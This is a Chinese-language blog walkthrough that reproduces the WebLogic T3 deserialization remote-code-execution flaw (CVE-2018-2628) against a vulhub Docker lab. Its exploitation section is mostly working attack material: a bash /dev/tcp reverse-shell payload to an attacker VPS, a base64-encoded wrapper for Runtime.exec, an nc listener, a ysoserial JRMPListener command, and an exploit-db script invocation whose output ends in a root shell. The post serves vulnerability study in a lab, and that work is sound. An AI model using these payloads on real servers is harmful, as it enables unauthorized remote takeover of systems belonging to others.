Weblogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)复现
阅读原文时间:2023年08月09日阅读:1

  好久没发新文章了,躲懒了,是时候该更新一篇了,这一篇是关于WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)的复现,该漏洞是weblogic的经典漏洞,而网上有关的复现稍显麻烦且方式有些老旧,特此更新一篇。

Weblogic T3协议反序列化命令执行漏洞介绍:

  Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响范围:  

  Weblogic 10.3.6.0
  Weblogic 12.1.3.0
  Weblogic 12.2.1.2
  Weblogic 12.2.1.3

靶机介绍:

  此次复现使用vulhub中的/vulhub-master/weblogic/CVE-2018-2628中靶场,具体靶场搭建这里就不多赘述了,参考vulhub官网即可。

  开启靶场:docker-compose up -d

vf@vf-virtual-machine:~/vulhub-master/weblogic/CVE-2018-2628$ sudo docker-compose up -d
Creating network "cve20182628_default" with the default driver
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)…
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve20182628_weblogic_1 …
Creating cve20182628_weblogic_1 … done

  访问ip:7001/console出现如下页面表示靶场搭建成功。这里的ip为192.168.28.136(靶机ip)

漏洞检测:

  使用相应的poc脚本进行检测即可

  poc地址:https://github.com/Aedoo/CVE-2018-2628-MultiThreading

  可见检出漏洞:

漏洞利用:

  注意,该命令执行漏洞没有回显,因此只能对目标机执行代码而无法返回执行结果,所以,这里我们直接进行反弹shell:

  反弹shell payload准备:

bash -i >& /dev/tcp/远端vps-ip/8888 0>&1

  由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:

bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}

  远端vps监听端口:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888

  下载反序列化漏洞利用工具jar文件:ysoserial.jar

  地址:https://github.com/frohoff/ysoserial。按照说明生成jar文件即可。

  远端vps开启JRMP Server端口监听,端口随意,这里设置为38080

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 38080

  出现Opening JRMP listener on 38080即表明jrmp server监听成功。

  到这里,反弹shell的环境就准备完毕,下面下载exp:

  exp地址:https://www.exploit-db.com/exploits/44553

  copy代码,保存为exploit.py

  攻击机payload准备:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

  这里的victim ip/port 为靶机的ip和端口,path to ysoserial为ysoserial.jar文件的路径,因为这个exp会调用这个jar,JRMPListener ip/port为jrmp server服务器的ip和监听的端口,这里端口为38080。JRMPClient有两个选项,为:JRMPClient或JRMPClient2,这里使用JRMPClient。

  最终payload:

python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 远端vps-ip 38080 JRMPClient

  执行exp:

┌──(kali㉿kali)-[~/Desktop/weblogic]
└─$ python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xxx.xxx.xxx.xxx 38080 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient xxx.xxx.xxx.xxx:38080 > payload.out
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
payload: …
response: …

exploit completed!

  回显exploit completed表明执行完毕,回看vps监听端口可见:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888
Connection received on xxx.xxx.xxx.xxx 50634
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@06ff6f667a1a:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
<Middleware/user_projects/domains/base_domain# whoami
root

  反弹shell成功。

  复现完毕。